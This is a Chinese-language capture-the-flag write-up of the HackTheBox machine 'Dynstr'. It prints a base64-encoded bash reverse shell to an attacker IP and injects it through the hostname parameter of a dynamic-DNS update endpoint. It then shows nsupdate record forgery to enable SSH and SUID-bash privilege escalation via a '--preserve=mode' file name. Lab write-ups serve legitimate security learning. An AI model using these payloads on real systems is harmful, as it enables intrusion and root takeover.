Dynstr 靶机渗透
目标:得到root权限,取得user.txt,root.txt
作者:shadow
时间:2021-07-25
请注意:我将使用Kali Linux作为攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,概不负责。
一、信息收集
查看80端口,发现是dns的机器,而且还有用户名密码
先将dns写入hosts文件
echo "10.10.10.244 dnsalias.htb dynamicdns.htb no-ip.htb dyna.htb dynstr.htb" >> /etc/hosts
查看了一圈没有发现
二、web渗透
尝试dirb,字典文件如下
爆破出/nic目录,但是是空白,继续枚举目录
枚举出/nic/update/目录
联想到开始的用户名密码
curl -u dynadns:sndanyd http://dyna.htb/nic/update
https://www.noip.com/integrate/response
https://help.dyn.com/remote-access-api/return-codes/
这导致no-ip dynamic dns看到相应代码
我们需要了解如何更新主机名,dns记录
https://www.noip.com/integrate/request
修改请求,增加标头Authorization,里面包含帐号密码,修改hostname与myip
制作反弹shell
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
使用base64加密
L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE1LzQ0NDSgMD4mMSc=
/nic/update?hostname=$(echo+L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE1LzQ0NDSgMD4mMSc=+|+base64+-d+|+bash)"walsky.no-ip.htb&myip=10.10.14.15
成功反弹shell
发现ssh私钥
保存到本地,发现无法登录
查看update发现nsupdate与密钥一起使用/etc/bind/ddns.key
现在需要将infra.key添加到DNS记录
nsupdate -v -k /etc/bind/infra.key
update add arz.infra.dyna.htb 86400 a 10.10.14.15
send
show
注意:我们仍然无法通过 ssh 登录,因为 dns 的使用已启用,因为 ssh 会进行反向 dns 查找过程,因此域名正在解析为 IP,但 IP 地址不会解析为域名,因此我们需要添加PTR记录为此目的
nsupdate -k /etc/bind/infra.key
update add anything.infra.dyna.htb 86400 A 10.10.14.15
<ENTER>
update add 15.14.10.10.in-addr.arpa. 300 PTR anything.infra.dyna.htb
send
现在通过ssh私钥登录,成功登录,获得user.txt
三、提权
查看bindmgr.sh
我们需要将42放入.version,然后复制/bin/bash到当前目录并使其成为SUID二进制文件
创建一个名为--preserve=mode的文件来利用它,同时复制它会保留这个目录中文件的属性,就像bash有SUID所以它会保留那些属性并将其复制到/etc/bind/named.bindmgr为root权限
echo > --preserve=mode
sudo /usr/local/bin/bindmgr.sh
cd /etc/bind/named.bindmgr
./bash -p
四、总结
难度还是挺大的,从最开始的更新dns记录到后来nsupdate增加dns记录,然后复制bash进行suid提权,收获还是很大的